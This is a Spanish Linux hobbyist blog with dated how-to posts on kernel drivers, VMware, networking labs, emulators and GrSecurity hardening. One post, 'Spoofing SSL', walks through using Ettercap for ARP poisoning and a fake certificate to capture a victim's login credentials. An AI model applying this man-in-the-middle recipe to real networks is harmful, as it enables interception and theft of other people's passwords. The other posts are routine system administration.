Poco a poco voy ajustando cada vez mas mi kernel al hardware de mi portatil, voy a explicar cual es el driver SATA para el Dell XPS Studio.
La ruta del driver es la siguiente:
Device drivers --> Serial ATA (prod) and Parallel ATA (experimental drivers)

ATA ACPI support
AHCI SATA support
ATA SFF support
NVIDIA SATA support

Recordad compilar estas opciones directamente dentro del kernel, no como módulos ya que si no se hace así el kernel no arrancará y nos mostrará un bonito Kernel Panic en el arranque.

Configuración del reloj del sistema

2009-06-25T19:53:00.005+02:00

Desde que compré el portatil (Dell XPS Studio 13") que la hora del sistema estaba funcionando dos horas adelantada, los logs me aparecian con horas incorrectas cosa que me molestaba bastante.
Por fín he encontrado la solución a este problema, tan solo hay que habilitar ciertas opciones del kernel y listo, las opciones en cuestión son las siguientes:

Device drivers --> Real time clock

/sys/class/rtc/rtcN (sysfs)
/proc/driver/rtc (procfs for rtc0)
/dev/rtcN (character devices)

Espero que sea de utilidad, a mí me ha servido ;)

Instalación de MAC-OSX en Vmware.

2009-06-22T16:05:00.004+02:00

Aquí os dejo mi última publicación, seguro que a mas de uno le intersa para probar algún exploit que había oído hablar de el en Internet o simplemente curiosear otros sistemas operativos:

- Instalación de Mac-OSX bajo Vmware.

Ya me conatreis que hos parece.

De nuevo VMware

2009-06-15T16:12:00.004+02:00

Sí ya lo se, el puto VMware haciendo de las suyas en cada actualización de kernel, en esta ocasión se trata de la versión 2.6.30.
Para poder compilar los módulos necesarios hay que bajar dos ficheros, el primero es el parche propiamente dicho y el segundo un script para aplicarlo.

NOTA: Para poder aplicar el parche tube que desinstalar el VMware, reinstalarlo y finalmente aplicar el parche.

Una vez bajados los dos ficheros ejecutamos el script como root:
bash vmware-6.5.2-modules-2.6.30-fix.sh

Ahora arrancamos el VMware como usuario regular y voilá solo hay que ingresar el password de root para que nos compile los módulos y listo, VMware rulando con el kernel-2.6.30

Frequency Scaling

2009-06-14T16:15:00.010+02:00

Hola amigos, hace poco que tengo mi portatil y hasta ahora no me había preocupado excesivamente la temperatura que alcanzaba el microprocesador pero con la llegada del verano empieza a alcanzar temperaturas de hasta 80 y pocos grados, no soy un experto en la materia pero me parece excesivo, se trata de un Core 2 Duo P8400 a 2600 GHz.

Finalmente he optado por habilitar en el kernel las opciones de escalado de frecuencia:
Power Managament and ACPI options --> CPU Frequency Scaling
Default CPUFreq Governor --> Esta será la opción por defecto que usará si no le indicamos lo contrario, yo voy a dejarlo en userspace para poder ajustar ls frecuencia de reloj a mi antojo.

Compilamos las siguientes opciones como módulos:
performance governor
powersave governor
ondemand cpufreq policy governor

Esta otra opción nos forzará a compilarla dentro del kernel:
userspace governor for userspace frequency scaling

ACPI Processor P-State Driver--> Esta opción es para los Core 2 Duo, si disponemos de otro microprocesador habrá que "Googlear" para saber cual es la opción correcta.

Una vez habilitadas las opciones necesarias compilamos y reiniciamos:
make && make modules_install && cp arch/x86_64/boot/bzImage /boot/kernel-"version" && reboot

Ahora hay que cargar el módulo ACPI Processor P-State Driver:
modprobe acpi_cpufreq

Con esto ya podemos agregar el applet de Gnome: "Monitor de frecuencia de la CPU"

Ejecutamos como root el comando: dpkg-reconfigure gnome-applets

Y respondemos que sí para ejecutar el applet con el bit SUID habilitado, de este modo nuestro usuario del día a día será capaz de ajustar la frecuencia de reloj de las CPUs.

Clickando sobre el applet ya podremos cambiar la frecuencia con un simple click ;)

Esto es todo, así de sencillo, si queremos probar más modos tenemos los siguientes modulos:

cpufreq_powersave --> Ahorro de energía

cpufreq_ondemand --> Si las aplicaciones exigen potencia de calculo la frecuecnia es elevada a su máximo, y si la demanda cesa va bajando paulatinamente.

cpufreq_userspace --> La frecuencia max y minima es habilitada por programas.

cpufreq_conservative --> Es igual que el modo ondemand pero cuando sube la frecuencia lo hace progresivamente.

Finalmente hacemos que este proceso se realice de forma automática en el arranque:
vi /etc/modules
acpi_cpufreq

PacketTracer en Linux

2009-06-07T23:40:00.006+02:00

Hace unos dias profundizabamos en el uso de GNS3, pero ahora le ha llegado el turno a PackeTracer, esta herramienta está mas enfocada a la enseñanza, se pueden observar el paso de los paquetes por los diferentes nodos. Además tiene la posibilidad de añadir Switches cosa que se hechaba de menos en GNS3, por contrapartido no nos carga una IOS si no que solo un sistema base con el que podremos hacer diferentes montajes pero no todo cuanto se nos ocurra.

Lo primero es conseguir el software, creo que lo podeis bajar de la página de CISCO, pero de todos modos lo he subido.

Descomprimimos el comprimido:
tar xvzf PacketTracer51_generic.tar.gz

cd PacketTracer51
./install

Nos aparecerá un asistente realizando algunas preguntas como la ruta de instalación, una vez hecho esto ya lo tendremos.

En mi caso particular tuve que instalar ciertas fuentes para que las tipografías de los menus apareciesen, no se exactamente cuales instalé ya que me puse a instalar hasta que funcionó, es cuestión de ir probando.

Kismet con Atheros 9280

2009-05-29T18:47:00.004+02:00

En mi portatil tengo una Atheros 9280 e instalé el magnifico software Kismet que nos permite visualizar las redes inalámbricas que se encuentran a nuestro alcance, cual fué mi sorpresa cando no arrancaba de ninguna de las maneras, pero no perdais la fe, "si algo es posible es en Linux".

Primero instalamos Kismet:
apt-get install kismet

Ahora hay que realizar unos pequeños ajustes, editamos el fichero de configuración y localizamos la siguiente línea:
vi /etc/kismet/kismet.conf

Substituimos la línea esta:
source=none,none,addme

Por esta otra:
source=ath5k,mon0,atheros

Primeros deberemos crear la interfaz en modo monitor, para esto deberemos tener instalado aircrack:
apt-get install aircrack-ng

Y creamos la interfaz mon0:
airmon-ng start wlan0

Paramos las funciones de red:

/etc/init.d/networking stop

Finalmente ya tenemos todo lo necesario instalado y configurado.

Computación distribuida.

2009-05-29T13:01:00.004+02:00

Seguro que mas de una ha oido hablar del programa SETI, pues esta idea se ha expandido a diferentes áreas, yo por ejemplo estoy colaborando en el proyecto de investigación de la fusión nuclear.
Todos los calculos realizados en estos proyectos seran de gran utilidad para realizar simulaciones con unas capacidades de calculo inimaginables, de esta forma los investigaadores podran llegar a sus conclusiones en un plazo mas corto de tiempo.
Si quereis ver los diferentes proyectos podeis verlos aquí.
Los hay para todos los gustos, lo tengo configurado para que no consuma mas de un 40% de la CPU y que se active a los 3min de inactividad.

Se puede descargar de la página Web de la Universidad de Berkeley y el programa en cuestión se llama BOINC.
Si vuestra tarjeta gráfica soporta la tecnología CUDA de Nvidia podreis realizar los cálculos mediante la gráfica, en mi caso no está soportada, aquí el listado de las aptas.

Nos bajamos el .sh y lo ejecutamos:
wget http://boincdl.ssl.berkeley.edu/dl/boinc_6.4.5_x86_64-pc-linux-gnu.sh
sh boinc_6.4.5_x86_64-pc-linux-gnu.sh
cd BOINC
./boincmgr

Nos aparecerá un asistente para unirnos a un proyecto.

Con esto yo diría que ya está listo y poned vuestro granito de arena para que este mundo sea un poco mejor.

Bueno, bonito y barato

2009-05-07T18:04:00.007+02:00

Estoy hablando del nuevo portatil ultraligero de la empresa iUnika existen varias razones por las que apostar por este equipo:

Se trata de una empresa española.
Su precio es de 130 euros.
Solo viene con Linux y software libre.
La carga de la batería se realiza con placas solares.
Está fabricado con bioplástico.

Este equipo será perfecto para los paises en vía de desarrollo y porque no para todos nosotros.

Big Buck Bunny

2009-05-06T21:11:00.004+02:00

Se trata de una película realmente con aspecto profesional y además está totalmente desarrollada con software libre, mas concretamente Blender.
Se puede descargar el trailer desde este enlace, pero voy a subir el video por si no quereis esperar a la descarga.

Warriors of the net

2009-05-04T19:50:00.005+02:00

Hace algunos años ví un video muy instructivo sobre el funcionamiento de las redes en modo gráfico con diseños en 3D, leyendo la documentción del CCNA se hace referencia a tal video y aquí estoy colgandolo para que muchos otros puedan disfrutar de él.
El video lo he descargado de la página: http://www.warriorsofthe.net/

Hay algunas inexactitudes como que es "el señor IP" quien pide la retransmisión del paquete cuando quien lo hace es TCP, pero ahún así no está mal a pesar de estar narrado con acento latinoamericano.

Aquí dejo el video para vuestro disfrute personal:

Hacer andar la WebCam y las dos tarjetas de red del Dell XPS Studio 1340

2009-05-04T17:06:00.007+02:00

Ya casi tengo todo el hardware de mi portatil funcionando en mi Debian, solo falta que funcione el SLI-Hibrido pero todo a su debido tiempo.

Con el programa usbview podemos observar el fabricante de la camara:

Integrated Webcam
Manufacturer: M092R-A00-9109-SD0MX

Para incorporar el driver a nuestro kernel hay que dirigirse a /usr/src/linux y una vez en esta ruta ejecutar:

make menuconfig

Aparecerá una ventana de configuración donde seguiremos los siguientes menus:
Device Drivers --> Multimedia Devices --> Video for Linux --> Video Capture Adapters --> V4L USB Devices

Y habilitaremos estas dos opciones:

USB Video Class
UVC Input events device support

Ya que estoy tambien voy a poner la ruta de los drivers de la tarjeta de red inalámbrica y la cableada.

Para compilar con soporte para la tarjeta de red cableada:
Device Drivers --> Networking Device Support --> Ethernet (10 or 100Mbit)

EISA, VLB, PCI and on board controllers
nForce Ethernet support

Para la inalámbrica:
Device Drivers --> Networking Device Support --> Wireless LAN --->

Wireless LAN (IEEE 802.11)
Atheros 802.11n wireless cards support

Si hay dudas de como compilar ya publiqué un artículo sobre el tema.

GNS3, el regreso!!!

2009-05-03T23:46:00.009+02:00

Ultimamente he estado algo ocupado con un cursillo sobre MacroLAN y los módulos de preparación 1 y 2 del CCNA, pero a pesar de esto he conseguido algo de tiempo y voy a explicar como lograr meter nuestro host junto con varias máquinas virtuales en una nube del GNS3 [1].

Con esto lograremos emular todos los escenarios de red que desemos.

Primero habrá que compilar el kernel con la siguiente opción activada:
Networking Support --> Networking Options --> 802.1d Ethernet Bridging

Tambien tenemos que instalar las utilidades necesarias:
apt-get install uml-utils bridge-utils

Ahora ya podemos empezar la configuración.

Creamos un bridge virtual:
brctl addbr br0

Comprobamos que realmente se ha creado:
ip a

Lo habilitamos:
ip l s dev br0 up

Comprobamos que está habilitado, en br0: :
ip a

Creamos la interfaz Tap que se conectará al bridge:
tunctl -t tap0 -u root

La habilitamos:
ip l s dev tap0 up

Ponemos Tap0 y Eth0 en el mismo bridge:
brctl addif br0 tap0
brctl addif br0 eth0

Comprobamos que estan en el bridge:
brctl show br0
bridge name bridge id STP enabled interfaces
br0 8000.002219ddca5c no eth0
tap0

Desconfiguramos la interfaz Eth0 y la ponemos en modo promiscuo:
ifconfig eth0 0.0.0.0 promisc

Configuramos el bridge con la ip de nuestro equipo:
ip a a 192.168.1.11/24 dev br0
ip r a default via 192.168.1.1

En la configuración de la nube:
NIO TAP
TAP Interface: tap0

Si queremos conectar máquinas virtuales como por ejemplo haciendo uso de VmWare o VirtualBox se puede hacer configurando la interfaz en modo bridged a la interfaz tap0, con esto lograremos que tanto nuestro host, el router conectado a la nube y las máquinas virtuales se puedan ver entre ellas.

He realizado un pequeño Script que nos ayudará a realizar la configuración de forma automática.

Yo personalmente empleo la interfaz Eth0 para meterla dentro del bridge con la Tap0, así consigo comunicarme con las máquinas virtuales por la Eth0 y por la inalámbrica accedo a Inet ;)

PD: ConchiWorld con este sistema las máquinas virtuales pueden ver al host anfitrión sin necesidad de link en la interfaz, ya que se realiza la comunicación a través de la interfaz virtual Tap0.

Salida HDMI Dell XPS Studio 1340

2009-04-15T16:27:00.010+02:00

Tras la reciente adquisición de mi Dell he estado tratando de configurar todos el hardware para que funcione correctamente bajo Linux.
Esta vez voy a explicar como conseguir que la salida HDMI ande desde mi Debian con los últimos drivers de mi Nvidia GForce 9400M G.
Cabe destacar que este equipo viene equipado con la tecnología Hybrid-SLI la cual yo no he podido hacer funcionar desde Linux.

Desde la utilidad nvidia-settings configuramos el televisor, en el televisor lo configuramos como TwinView y en position: Clones.

Con esto ya tendríamos el video funcionando, pero para que el audio funcione hay que realizar ciertos pasos:

Abrimos el control de volumen de Gnome y en la pestaña conmutadores habilitamos IEC958 en el caso de que no apareciese iríamos a Editar --> Preferencias y lo haríamos visible.
Ahora le indicaremos a Gnome que emplee la salida HDMI.

Sistema --> Preferencias --> Sonido
En pistas predeterminadas del mezclador:
NVIDIA MCP7A HDMI (OSS Mixer)

Por ahora solo funcionaría el sonido con el reproductor de video Totem, para que funcione con todos hay que generar en nuestro home el fichero .asoundrc con el contenido:

defaults.pcm.device 3

Con esto ya podremos disfrutar de nuestras películas favoritas en cualquier televisor con entrada HDMI.

La línea defaults.pcm.device 3 no me la he inventado ni la he visto tras golpearme la cabeza contra el bidé mientras cambiaba la bombilla del baño, esta línea sale de ejecutar la orden:
aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: NVidia [HDA NVidia], device 0: STAC92xx Analog [STAC92xx Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: NVidia [HDA NVidia], device 3: NVIDIA HDMI [NVIDIA HDMI]
Subdevices: 1/1
Subdevice #0: subdevice #0

Como se puede apreciar el dispositivo 3 es la salida de audio HDMI.

Cuando acabemos de usar la salida HDMI eliminamos el fichero .asoundrc de nuestro home, quitaremos el conmutador IEC958 y configuraremos el sonido con pistas predeterminadas del mezclador: HDA Nvidia (Alsa Mixer).

Después de esto ya funcionará el sonido por la tarjeta habitual.

Problemas con Bluetooth

2009-04-04T22:10:00.003+02:00

He estado peleándome un rato para conseguir eliminar dispositivos bluetooth con los que alguna vez he conectado pero ahora yo no existen o han cambiado de nombre.
El problema es que se me quedaba el nombre antiguo y no consigue conectar con el actual.
Tan solo hay que eliminar las direcciones MAC de este fichero y ya estará como nuevo:
vi /var/lib/bluetooth/00\:22\:5F\:4B\:63\:BA/lastused
vi /var/lib/bluetooth/00\:22\:5F\:4B\:63\:BA/lastseen

Streaming de radio en Linux

2009-04-01T17:22:00.004+02:00

Ya hace tiempo que ando buscando alguna página de streaming de radio que tire en Linux, por fín el esperado día ha llegado, tan solo se precisa de totem(o cualquier otro software que pueda reproducir streams).

La página en si es esta:http://www.shoutcast.com

Que la disfruteis!!! ;)

Hee vuelto!!

2009-03-30T16:06:00.007+02:00

Si amigos, tras una gran temporada sin dar signos de vida he vuelto, he estado ocupado buscando mi primer trabajo, además ya tengo Debian Lenny 5.0 versión estable, recien instalada en mi nuevo portatil y lista para hacer el mal, jejeje.

Al tener una distro nueva mis sources son otras diferentes a las que tenía anteriormente, de todos modos a la derecha voy a ir colgando mis sources.list.

En esta ocasión voy a explicar como solventar un problemilla que tuve con VMware y el kernel 2.6.29, la instalación concluía de forma correcta pero la compilación de los módulos fallaba.

Para solventar este problema se debe de aplicar un parche, una vez hecho esto compila sin problema alguno.

Para aplicarlo hay que ejecutar como root los siguientes comandos:
cd /usr/lib/vmware/modules/source/; mkdir orig; cp *.tar orig/; for i in `ls *.tar`; do tar -xf $i; done; rm *.tar; patch -p1 -i "RUTA HASTA EL PARCHE"; for i in mblock mci mmon mnet mppuser sock; do tar -cf v$i.tar v$i-only; done; rm -r *-only

Espero que le haya servido a mas de uno, en fín un placer ayudar y recordad "El conocimiento humano pertenece al mundo" ;)

Spoofing SSL

2009-01-05T17:41:00.005+01:00

Por fin puedo hacer lo que hasta la fecha solo sabía hacer con Caín bajo Windows. Se trata de Ettercap, ya hablé de esta herramienta en una anterior ocasión, pero esta vez la cosa va mas allá, vamos a engañar al usuario para que acepte un certificado falso y así poder sacar su nombre de usuario y su password.
Primero instalamos la aplicación:
apt-get install ettercap

Ahora configuramos Ettercap para que sea capaz de tratar con SSL, editamos el fichero /etc/etter.conf
vi /etc/etter.conf

Descomentamos la línea:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Ahora entramos en modo consola como root:
ettercap -C

Nos dirigimos al menú Sniff --> Unified Sniffing

Buscamos los Hosts de nuestra red:
Hosts -->Scan for Hosts

Listamos los Hosts encontrados:
Hosts-->Host List
Presionamos 1 para la IP del Router y 2 para la IP de la víctima.

Empezamos el envenenamiento de las tablas ARP:
MITM-->ARP Poisoning
En parameters escribimos remote

Empezamos el ataque:
Start-->Start Sniffing

En la parte inferior "User Messages" podremos ver el usuario y su correspondiente password.
Dejo una captura de un usuario imaginario accediendo a Gmail:

Controlar aplicaciones por bluetooth en Linux

2009-01-04T11:42:00.007+01:00

Este artículo va a ser realmente interesante para la gente perezosa como yo que se mete dentro de la cama para ver alguna película pero al rato se da cuenta que el volumen no es el apropiado.
Vamos a instalar una aplicación que actuará como servidor en nuestro equipo y nos permitirá conectarnos por infrarojos, bluetooth, wifi o incluso por TCP/IP.
Emplearemos alguna de estas conexiones para enviarle comandos a nuestro equipo y que actúe en consecuencia.
Instalamos dicho software:
apt-get install anyremote

Nos bajamos de su página la interfaz con el gestor de ventanas que empleemos, en mi caso Gnome.
Lo instalamos como administrador con dpkg -i "paquete.deb"
Ahora nos falta la parte del cliente en el móvil, nos bajamos los .jar de la página y los dejamos dentro del móvil.

Ahora arrancamos ganyremote y en configurar preferencias:
En la sección Directorios añadimos: /etc/anyremote/Server-mode

Indicamos que se trata de una sesión Gnome y ya lo tenemos, clickamos sobre el mando que aparecerá en la barra de Gnome y le indicamos la aplicación a usar cuando se conecte por bluetooth, en mi caso Xine.

Ahora entramos a la aplicación desde el móvil y ya podemos controlar el audio y demás parámetros remotamente.
El único problema encontrado con este programa es que solo se puede acceder al explorador de fichero si arranca ganyremote el usuario root.

Agencia Espacial Europea apuesta por el software libre

2008-12-20T11:51:00.005+01:00

La ESA ha contratado el desarrollo del proyecto NEST, que al parecer sustituye a BEST, a una empresa canadiense. La gracia particular está en que el software se licencia GPL. NEST es 'Next ESA SAR Toolbox'. Se trata de un sistema para leer, post-procesar, analizar y visualizar el archivo de datos de las misiones SAR, incluyendo ERS-1 y 2, ENVISAT y Sentinel-1, y otros proyectos.

Emulador SuperNintendo

2008-12-18T15:03:00.004+01:00

Pues eso otro emulador, pero en esta ocasión para SuperNintendo, creo que con este los usuarios de Linux ya van bien servidos en cuanto a emuladores, no hay plataforma que se nos resista.

Instalamos el emulador:
apt-get install snes9x-x

Para usar un mando se invoca snes de la siguiente manera:
snes9x -joydev1 /dev/input/by-id/"Dispositivo de juego" "Ruta hasta la ROM"

Video OpenSource

2008-12-18T13:21:00.004+01:00

Bonito video sobre el movimiento OpenSource, que lo disfruteis ;)

Kernel Linux mas seguro que las aplicaciones cerradas

2008-12-18T00:09:00.003+01:00

Un estudio de 4 años de duración llevado a cabo por 5 investigadores de la Universidad de Stanford en el que se han analizado las 5,7 millones de líneas de código del kernel ha resuelto que Linux es un sistema mucho más seguro que la mayor parte del software propietario. El informe concluye que en el kernel 2.6 de Linux se han detectado únicamente 985 bugs, lo que da una media de tan solo 0,17 fallos por cada 1.000 líneas de código. Es una cifra sensiblemente inferior a la que se da en los programas comerciales, que se sitúa entre 20 y 30 por cada 1.000 líneas, según atestigua la Universidad Carnegie Mellon. De haberse seguido este promedio, se hubieran encontrado más de 140.000 errores en las 5,7 millones de líneas de código del kernel

Cuidado con NFS

2008-12-13T18:53:00.007+01:00

Hace algún tiempo publiqué un artículo sobre como poner en funcionamiento un servidor NFS, ahora explicaré que puede ser un servicio inseguro si se tiene algún directorio que se pueda montar de forma pública, o algún usuario con credenciales mal intencionado.
NFS se basa en el UID y GID, ahora si un usuario consigue montar un directorio y observa los permisos de los ficheros fijándose en los propietarios podría crear el mismo usuario localmente y volver a conectarse, mareando de esta forma la perdiz y engañando a NFS permitiéndole acceder a ficheros que no le corresponden.
Para mitigar este problema se puede tener una base de datos centralizada con NIS ó NIS+, de este forma los usuarios no se podrían falsear a no ser que se consiguiese hackear el servidor NIS.

Limitar ancho de banda en Linux

2008-12-13T15:09:00.005+01:00

Seguro que más de una vez habéis empezado a descargar algún fichero de la red con wget o alguna herramienta similar, la descarga iba de maravilla pero en contrapartida la carga de las páginas web y todo lo que tenga que ver con el acceso a la red se ve penalizado.
Para limitar la subida y bajada que pueda llegar a consumir cierta aplicación se puede emplear trickler.

1-Instalamos trickler:
apt-get install trickler
2-Empezamos a usarlo:
trickler -d "Máximo descarga" -u "Máximo subida" wget "URL"

Con esto wget no consumirá mas ancho de banda de la cuenta ni en la subida ni en la descarga.
También es recomendable su uso con MlDonkey ya que a mí al menos no me hacía caso a la hora de limitar el ancho de banda.

Conversión y montado de imagenes de disco.

2008-12-12T15:45:00.006+01:00

Para las imagenes en formato NRG basta con:
mount -t iso9660 -o loop,offset=307200 archivo.nrg /mnt/loop

Para los BIN habrá que currarselo un poco mas, primero realizamos la conversión a ISO y luego montamos la imagen resultante.

Instalamos bchunk:
apt-get install bchunk

Procedemos con la conversión:
bchunk archivo.bin archivo.cue archivo.iso

Finalmente montamos la imagen en un directorio local:
mount -t iso9660 -o loop archivo.iso /mnt/loop

Ya veis lo fácil que es, adelante probadlo que funciona!!

Chequeo particiones

2008-12-12T15:38:00.005+01:00

En el arranque Linux comprueba el número de veces que se ha montado el sistema de fichero, si se ha montado X veces sin ser chequeado procede a ello.
Esta característica puede ser molesta si se tiene prisa y se precisa del equipo en ese mismo momento.
Para deshabilitar esto hay que seguir unos sencillos pasos:
tune2fs -c 0 -i 0 /dev/sda*

Parámetros:
-c --> establece el numero de montajes antes de realizar el chequeo
-i --> el tiempo que transcurrirá entre chequeo y chequeo.
Estableciéndolos a 0 los estamos deshabilitando.

Multi emulador: Mednafen

2008-12-12T15:19:00.005+01:00

Mednafen es un emulador de todas estas consolas :Atari Lynx, GameBoy (Color), GameBoy Advance, NES, PC Engine(TurboGrafx 16), SuperGrafx, Neo Geo Pocket (Color), PC-FX, and WonderSwan (Color).

Funciona muy bien y para pegarse un vicio de antiguos juegos pues viene muy bien.
Instalamos el emulador:
apt-get install mednafen

Una vez instalado es tan sencillo como ejecutar:
mednafen "ruta hasta la ROM"

Para configurar el teclado o en mi caso el mando:
Alt+Shift+1

Para pasar a pantalla completa:
Alt+Enter

Monitorizando nuestro HD

2008-12-12T15:04:00.004+01:00

Hace poco tuve que enviar mi disco duro de vuelta al fabricante porque cuando llevaba varias horas funcionando empezaba a hacer ruidos extraños, como un pequeño tintineo agudo que penetraba en la cabeza.
Desde que me lo repararon o cambiaron que lo vigilo por si acaso, de esta tarea se encarga SmartmonTools, además hago uso de otra utilidad para que sea más cómodo poder ver las alertas y no tener que estar mirando el log en syslog, esta herramienta de la que hablo se llama Smart-Notifier.

Procedemos con la instalación del software necesario:
apt-get install smartmontools smart-notifier

Le indicamos a SmartmonTools que se active en el arranque del sistema:
vi /etc/default/smartmontools
start_smartd=yes

Para ejecutar una prueba editamos el fichero /etc/smartd.conf y editamos la lñinea DEVICESCAN dejándola como se indica:
vi /etc/smartd.conf
DEVICESCAN -m root -M test -M exec /usr/share/smartmontools/smartd-runner

Reiniciamos SmartmonTools:
/etc/init.d/smartmontools restart

Añadimos smart-notifier al arranque de sesión de Gnome y ya lo tenemos listo, ahora cuando se produzca algún fallo en nuestro disco duro aparecerá una ventanita informandonos acerca del error.

Visualizar logs IpTables en tiempo real

2008-12-10T15:42:00.008+01:00

Para ver los logs basta con hacer tail -f /var/log/syslog, pero lo que queremos es ver solo los logs de IpTables, para ello emplearemos la opción --log-prefix para luego hacer grep sobre esta cadena.
Justo en la última línea de INPUT, OUTPUT y FORWARD añadimos:
iptables -A INPUT -j LOG --log-prefix "Alerta IPTABLES-INPUT"
iptables -A OUTPUT -j LOG --log-prefix "Alerta IPTABLES-OUTPUT"
iptables -A FORWARD -j LOG --log-prefix "Alerta IPTABLES-FORWARD"

Si ahora hacemos:
tail -f /var/log/syslog|grep "Alerta IPTABLES"
Nos apareceran por pantalla solo las alertas generadas por IpTables.

GrSecurity 2ºParte

2008-12-08T22:31:00.017+01:00

GrSecurity nos permite crear ACLs o como ellos lo llaman "roles", esto nos permite tener el sistema funcionando con los servicios necesarios pero siempre con el menor número de privilegios posibles.
Hay que tener en cuenta que con estas ACLs habilitadas incluso el todo poderoso root también verá sus acciones limitadas.

Nos bajamos la utilidad gradm:
wget http://http://www.grsecurity.net/gradm-2.1.11-200804142058.tar.gz

Instalamos algunas dependencias:
apt-get install flex bison libpam0g-dev chpax

Descomprimimos gradm:
tar xvzf gradm-2.1.11-200804142058.tar.gz
cd gradm-2.1.11-200804142058.tar.gz

Compilamos e instalamos el programa:
make
make install

Asignamos un password de administrador:
gradm -P admin

Entramos como administrador:
gradm -a

Ahora viene lo realmente interesante del asunto, ponemos gradm a "aprender" para luego aplicar estas ACLs.

gradm -F -L /etc/grsec/learning.log

Hacemos un uso normal del sistema durante algunos días, debemos evitar actualizaciones de software o programas que rasquen mucho de disco duro como un find y tareas administrativas.
Cuando creamos que está listo(unos 2 o 3 días de aprendizaje son suelen ser suficientes) salimos, nos mostrará un error sobre el fichero learning.log, el directorio /etc/grsecurity ya no será visible ni tan siquiero para root.

Aplicamos las ACLs generadas:
gradm -a
gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles
mv /etc/grsec/learning.roles /etc/grsec/policy

chmod 0600 /etc/grsec/policy
gradm -E

Para que funcionen las ACLs en cada arranque añadimos gradm -E en /etc/rc.local

Si nos da algún tipo de problema y queremos deshabilitar las ACLs entramos como administrador y ejecutamos:
gradm -D

Para permitir pasar aplicaciones por encima de PAX:
chpax –spmr "Ruta hasta el binario"

GrSecurity

2008-12-08T15:00:00.014+01:00

GrSecurity es un parche para el kernel de la rama 2.4 y 2.6, este parche nos permite añadir ciertas funcionalidades relacionadas con la seguridad.
Algunas de las características más interesantes son limitar el acceso a dmesg, hacer que los usuarios solo puedan ver sus procesos, evitar ataques del tipo Stack OverFlow, no permitir que ciertos grupos de usuarios ejecuten ficheros con el Sticky bit activado o incluso no dejar que se puedan poner servidores a la escucha.
Bueno sin mas preambulo empezamos.

Bajamos el último kernel soportado por GrSecurity, en el momento de escribir este tutorial se trataba del 2.6.24.5, así que cambiamos al directorio /usr/src y lo bajamos: wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.5.tar.bz2
Ahora bajamos el parche: wget http://www.grsecurity.net/grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz
Desenpaquetamos y descomprimimos el kernel: bzip2 -dc linux-2.6.24.5.tar.bz2
Descomprimimos el parche: gzip grsecurity-.1.11-2.6.24.5-200804211829.patch.gz -d
Aplicamos el parche: patch –p0 < ./grsecurity-.1.11-2.6.24.5-200804211829.patch
Tan solo nos queda crear el enlace simbólico linux --> Nuestro kernel, configurarlo y compilar: ln -s linux-2.6.24.5 linux
Arrancamos el configurador del kernel: make menuconfig
Configuramos el kernel habilitando las opciones que nos parezcan oportunas, en el apartado de Security podremos encontrar las opciones relacionadas con GrSecurity.
Cuando lo tengamos salimos y guardamos los cambios, para compilar el kernel es tan sencillo como: make && make modules_install
Copiamos el kernel a /boot y editamos grub para poder arrancar el kernel nuevo: cp arch/x86_64/boot/bzImage /boot/GrSecurity && vi /boot/grub/menu.lst
Añadimos una entrada al Grub como esta:

title GrSecurity
root (hd0,0)
kernel /boot/GrSecurity root=/dev/sda1
savedefault

Y ya lo tenemos, un kernel securizado y a prueba de balas, jajajaja.
En la captura de pantalla se puede observar como sólo puede ver el usuario joomla sus procesos.

NOTA:Si al hacer make menuconfig sale algún tipo de error seguramente sea debido a que no se tienen instaladas las librerias n-curses que se necesitan, para solucionarlo hay que instalar el siguiente paquete:
apt-get install libncurses5-dev
Además hay que tener en cuenta que si habilitamos Pax, la pila ya no será ejecutable con lo que algunos programas tendrán problemas y si restringimos los sockets y los puertos I/O puede que el servidor gráfico deje de funcionar, esto en un servidor no nos importará pero en una estación de trabajo sí que es un aspecto a tener en cuenta.